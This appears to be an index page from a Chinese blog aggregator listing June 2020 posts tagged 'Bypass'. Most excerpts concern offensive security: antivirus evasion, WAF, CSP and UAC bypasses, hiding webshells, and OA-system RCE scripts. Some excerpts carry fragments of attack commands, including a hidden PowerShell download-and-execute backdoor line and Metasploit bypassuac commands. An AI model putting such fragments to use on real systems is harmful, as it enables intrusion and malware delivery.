BYPASS

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00免杀能力一览表几点说明：1、表中标识√说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
go0dStudy·2020-06-25 21:10

WAF的技术原理

Web防火墙产品部署在Web服务器的前面，串行接入，不仅在硬件性能上要求高，而且不能影响Web服务，所以HA功能、Bypass功能都是必须的，而且还要与负载均衡、WebCache等W
qq_41666619·2020-06-25 21:49

[深入学习Web安全](8)跨站之魂-Javascript（补习）

（后面还会有高级部分，例如BypassWAF，盲注，还有关于SQL注射的各种造轮子……）那么，从今天开始，我们就进入Web前端
池寒·2020-06-25 19:26

Oracle数据库及在DOS命令下面的简单操作

数据库注释用--表明为注释，但以下用//或--代表解释;数据库不怎么区分大小写；先说说一些简单Oracle数据库操作的语句：使用语句创建普通用户：Createuserusernameidentifiedbypassword
IT_小白鼠·2020-06-25 18:35

开源一个自写的病毒技术工具集

文章目录前言界面代码视图功能介绍基础技术防双开释放资源注入技术全局钩子注入远程线程注入APC注入启动技术三种方式创建进程内存加载运行dll自启动技术注册表快速启动目录计划任务系统服务提权技术提升为Debug权限BypassUAC
鬼手56·2020-06-25 14:01

PHP文件包含漏洞利用思路与Bypass总结手册（三）

现在代码常做的限制有这些：1、指定前缀2、指定后缀3、协议限制4、allow_url_fopen=OffBypass-指定前缀测试代码:一般情况下，这种前缀也是很常见的，限制用户访问www服务外的其他文件
合天智汇·2020-06-25 13:12

PHP文件包含漏洞利用思路与Bypass总结手册（二）

接上一篇：PHP文件包含漏洞利用思路与Bypass总结手册（一）包含Session在了解session包含文件漏洞及绕过姿势的时候，我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程
合天智汇·2020-06-25 13:41

PHP文件包含漏洞利用思路与Bypass总结手册（完结）

Bypass-Session限制LFI-Base64Encode很多时候服务器上存储的Session信息都是经过处理的（编码或加密），这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的
合天智汇·2020-06-25 13:09

PHP文件包含漏洞利用思路与Bypass总结手册（一）

php://inputfile_get_contents()的利用phar://pharzip://bzip2://zlib://data://前言这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass
合天智汇·2020-06-25 13:08

Bypass X-WAF SQL注入防御（多姿势）

https://mp.weixin.qq.com/s/5TQddrOqa8MmtsuHoCRu0QBypassX-WAFSQL注入防御（多姿势）https://www.anquanke.com/post
ProjectDer·2020-06-25 06:56

FreeSWITCH对媒体处理的三种方式：default;Proxy Media;Bypass Media

freeswitch对媒体的处理有三种方式：媒体代理方式a.默认方式媒体通过freeswitch，RTP被freeswtich转发,freeswitch控制编码的协商并在协商不一致时提供语音编码转换能力，支持录音，二次拨号等。更适合呼叫中心等富功能应用,但性能相比其他两个也是最差的b.代理模式(ProxyMedia)媒体通过freeswitch转发，但是不处理媒体,RTP通过freewtich转发
CLOUD_FL·2020-06-25 04:17

关于Weblogic CVE-2016-3510、CVE-2016-0638 相关问题讨论

关于WeblogicCVE-2016-3510、CVE-2016-0638相关问题讨论]今天在跟朋友讨论Weblogic反序列化的问题时，他说客户打了补丁，但是还是测试出了问题，所以我就仔细搜了下，bypass
qq_27446553·2020-06-25 03:35

X-WAF简单测试体验

X-WAF最近才关注到的一款云WAF，花了一些时间搭建了一个环境，并做了一些测试，感觉比较适合新手来练习WAFBypass。
Bypass--·2020-06-25 01:59

oracle用户创建及权限设置

createsessioncreatetableunlimitedtablespaceconnectresourcedba例：#sqlplus/nologSQL>conn/assysdba;SQL>createuserusernameidentifiedbypasswordSQL
思君黯然·2020-06-24 14:08

一步一步学习DVWA渗透测试（CSP Bypass绕过内容安全策略）-第十二次课

小伙伴们，今天我们继续学习。Content-Security-Policy是指HTTP返回报文头中的标签，浏览器会根据标签中的内容，判断哪些资源可以加载或执行。翻译为中文就是绕过内容安全策略。是为了缓解潜在的跨站脚本问题（XSS），浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时，主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度，开发人员
manok·2020-06-24 13:17

中间件常见安全漏洞（转载）

前言：转载于公众号Bypass点击这里查看原文第一章：IISIIS6解析漏洞IIS7解析漏洞PUT任意文件写入IIS短文件漏洞HTTP.SYS远程代码执行(MS15-034)RCE-CVE-2017-7269
YoungBoy啊啊啊·2020-06-24 12:07

Webshell Bypass

如何优雅隐藏你的Webshell1.优雅的Bypass一句话2.优雅的Bypass大马3.优雅的隐藏你的Webshell4.对于自己的bypass心得以及总结Bypass思路1.代码拼接2.函数回调1.
Wh0ale·2020-06-24 11:56

Kernel bypass技术及其在Ceph中的应用介绍

##Kernelbypass技术及其在Ceph中的应用介绍###背景Ceph是当前最流行的开源分布式统一存储，在一套基础架构中同时支持块存储、对象存储和文件存储，支持PB级别的扩展能力，广泛用于云环境中
lizhongwen1987·2020-06-24 11:01

PQTools配置参数使用说明

设定AE曝光属性HI_MPI_ISP_SetExposureAttrbByPassAE模块bypass功能使能，默认为HI_FALSE。
无名白丁·2020-06-24 10:33

Beyond SQLi: Obfuscate and Bypass简译

英文原文绕过函数和关键字过滤and,orFilteredinjection:1or1=11and1=1Bypassedinjection:1||1=11&&1=1and,or,unionPHPfiltercode
jjf012·2020-06-24 08:57

saltstack20200429矿机漏洞

community/blob/master/doc/Community-Message.pdfhttps://labs.f-secure.com/advisories/saltstack-authorization-bypass
小楼看风云·2020-06-24 05:34

HEVC实现无损压缩

使用HM是可以实现无损压缩的，只需要开启TransformQuantizerBypass（TQB）。
岳麓吹雪·2020-06-24 05:38

js获取内网IP

compatibilityforfirefoxandchromevarRTCPeerConnection=window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection;//bypassnaivewebrtcb
king_qc·2020-06-24 01:08

图形化payload、Passthehash

获取图形化payloadmsf>useexploit/windows/local/bypassuacmsfexploit(bypassuac)>setsession5msfexploit(bypassuac
Instu·2020-06-23 20:35

通达OA前台RCE加EXP任意文件上传+文件包含

）->php代码包含->rce理论上是通杀，但是貌似2015版没有包含功能大家可以复现了importosimportrequests#定义webshell，因为是包含，所以用写入马比较方便#这个马自带bypassdisable_function
god_zZz·2020-06-23 10:40

Windows安装jq

SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"-NoProfile-InputFormatNone-ExecutionPolicyBypass-Command"iex
高可乐的爸爸·2020-06-23 05:11

WAF的技术原理

Web防火墙产品部署在Web服务器的前面，串行接入，不仅在硬件性能上要求高，而且不能影响Web服务，所以HA功能、Bypass功能都是必须的，而且还要与负载均衡、WebCache等W
chujiuai1874·2020-06-22 23:39

Harry Potter and chamber of secretes day20 2.28

1.asmallpaddocktheWeasleysowned牧场Ihaven'tseentherealpaddock,italwaysinmydreams.2.wasoftenoutstrippedbypassingbutterflies
Bebevino·2020-06-22 21:33

防火墙高可靠总结

今天来聊一聊防火墙高可靠特性，具体涉及一下6方面，不同厂商还会有个别特性：（1）双机（2）IP-link（3）BFD（4）Link-group（5）Bypass（6）Eth-trunk首先看一下双机热备
Pengzt·2020-06-22 15:16

mysql授权、删除用户和角色权限

*TO'backup'@'172.16.0.157'IDENTIFIEDBYPASSWORD'*38B4F16EADB1601E713D9F03F1DFA1F71C624A91';#GRANTUSAGEON
aoying5106·2020-06-22 14:48

Nessus中文报告自动化脚本

github地址：https://github.com/Bypass007/Nessus_to_report使用文档Nessus_to_report│Nessus_report_demo.py//demo
an0708·2020-06-22 14:06

通过User-agent进行SQL注入

声明：本文由Bypass整理并翻译，仅用于安全研究和学习之用。
an0708·2020-06-22 14:35

使用bitsadmin.exe 下载文件,配合bcn.bat玩出更多的花样~~

跟据我查到的资料《UsebitsadmintomaintainpersistenceandbypassAutoruns》一文当中对bitsadmin的各种用法写得很详
火星猎手·2020-06-22 09:18

sqlserver对数据进行加密、解密

–创建测试表CREATETABLETBLUser(Namenvarchar(30),Passwordvarbinary(1000))–创建数据库主密钥CREATEmasterkeyENCRYPTIONBYPASSWORD
码农阿益·2020-06-22 09:31

Spark中几种ShuffleWriter的区别你都知道吗？

一.前言在Spark中有三种shuffle写，分别是BypassMergeSortShuffleWriter、UnsafeShuffleWriter、SortShuffleWriter。
叫我不矜持·2020-06-22 05:11

Windows安装使用 make

SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"-NoProfile-InputFormatNone-ExecutionPolicyBypass-Command"iex
Frank（Zhiyang-Dou）·2020-06-22 02:09

angular-CLI代理后端

Usingtheproxyingsupportinwebpack'sdevserverwecanhighjackcertainURLsandsendthemtoabackendserver.Wedothisbypassingafileto
奚落大神·2020-06-22 00:50

利用ld_preload方式绕过disable_functions

参考链接：https://github.com/l3m0n/Bypass_Disable_functions_Shell连了菜刀无法执行命令系列。
一支神经病·2020-06-21 22:47

后渗透篇：一款不错的PowerShell后门（无毒隐蔽性极强）

第一款Backd00r-webshell.zip使用方法：CMD执行powershell.exe-nop-windowstylehidden-execbypass-c"IEX(New-ObjectNet.WebClient
Agan '·2020-06-21 21:35

Webshell如何bypass安全狗，D盾

上次很多师傅问我要的web漏扫的github地址抱歉还不能给你们，（毕设没答辩完，而且还没写完Orz）Webshell这里，我主要是写phpwebshell的bypass（主要是其他的没研究过），安全狗的版本是在官网下载的
FLy_鹏程万里·2020-06-21 20:36

【XSS技巧拓展】————7、CSP浅析与简单的bypass

什么是CSP?ContentSecurityPolicy（CSP）内容安全策略，是一个附加的安全层，有助于检测并缓解某些类型的攻击，包括跨站脚本（XSS）和数据注入攻击。简单来说，csp就是为了减少xss，csrf等攻击的，是通过控制可信来源的方式，类似于同源策略…CSP以白名单的机制对网站加载或执行的资源起作用。在网页中，这样的策略通过HTTP头信息或者meta元素定义。CSP虽然提供了强大的安
FLy_鹏程万里·2020-06-21 20:36

STM32系统时钟设置，采用外部有源晶振相关配置问题

查找程序发现在系统时钟初始化时，RCC_HSEConfig(RCC_HSE_Bypass);语句配置不对，此语句解释为HSE晶振被外部时钟旁路。
Failurepointer·2020-06-21 20:10

云锁和安全狗哪个好 Bypass阿里云盾、百度云加速、安全宝、安全狗、云锁、360主机卫士SQL注入防御-系统/上网/安全

再经过URL编码后为%23%0A阿里云盾：Bypass:https://**.**.**.**/ask/3689?spm=5176.100241.0.0.eViKRY?
天府云创·2020-06-21 20:30

【Spark】Spark任务调度相关知识

文章目录准备知识DAG概述shuffle概述SortShuffleManager普通机制bypass机制Spark任务调度流程准备知识要弄清楚Spark的任务调度流程，就必须要清楚RDD、Lineage
sqlBoy_·2020-06-21 18:49

攻防世界PWN之Noleak(一题学了好多知识)题解

Noleak本题需要用到的知识有：malloc_hook、unsortedbinunlink、fastbinattack、partialwritebypassPIE首先，介绍一下malloc_hook，
haivk·2020-06-21 07:12

泛微OA管理系统RCE漏洞利用脚本 ——yzddMr6

使用方法python3rce.pyhttp://www.baidu.comimagepayload是捡的，可以一定程度上bypasswaf源码随手撸的importrequestsimportsysheaders
yzddMr6·2020-06-21 06:45

Linux 下Oracle 数据库操作使用总结+node.js 数据库操作

createusernameidentifiedbypasswd;
我最爱吃大白兔·2020-06-21 04:07

python pandas10分钟入门

1]:importpandasaspdIn[2]:importnumpyasnpObjectCreationSeetheDataStructureIntrosectionCreatingaSeriesbypassingal
overstack·2020-06-21 04:48

攻防世界XCTF：shrine

这题涉及到我的知识盲区，主要是以下几点：SSTIFlask框架BypassSandbox整理得到源码importflaskimportosapp=flask.Flask(__name__)app.config
m0c1nu7·2020-06-21 03:33

一种快速过VMP3.x调试器虚拟机检测的方法

比如：and2=2表示检测用户层调试器and4=4表示检测内核调试器and10=10表示检测虚拟机只要将这个值修改为0，调试器和虚拟机检测甚至内存校验,文件校验都直接bypass.
biao197·2020-06-21 00:21
上一页 18 19 20 21 22 23 24 25 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他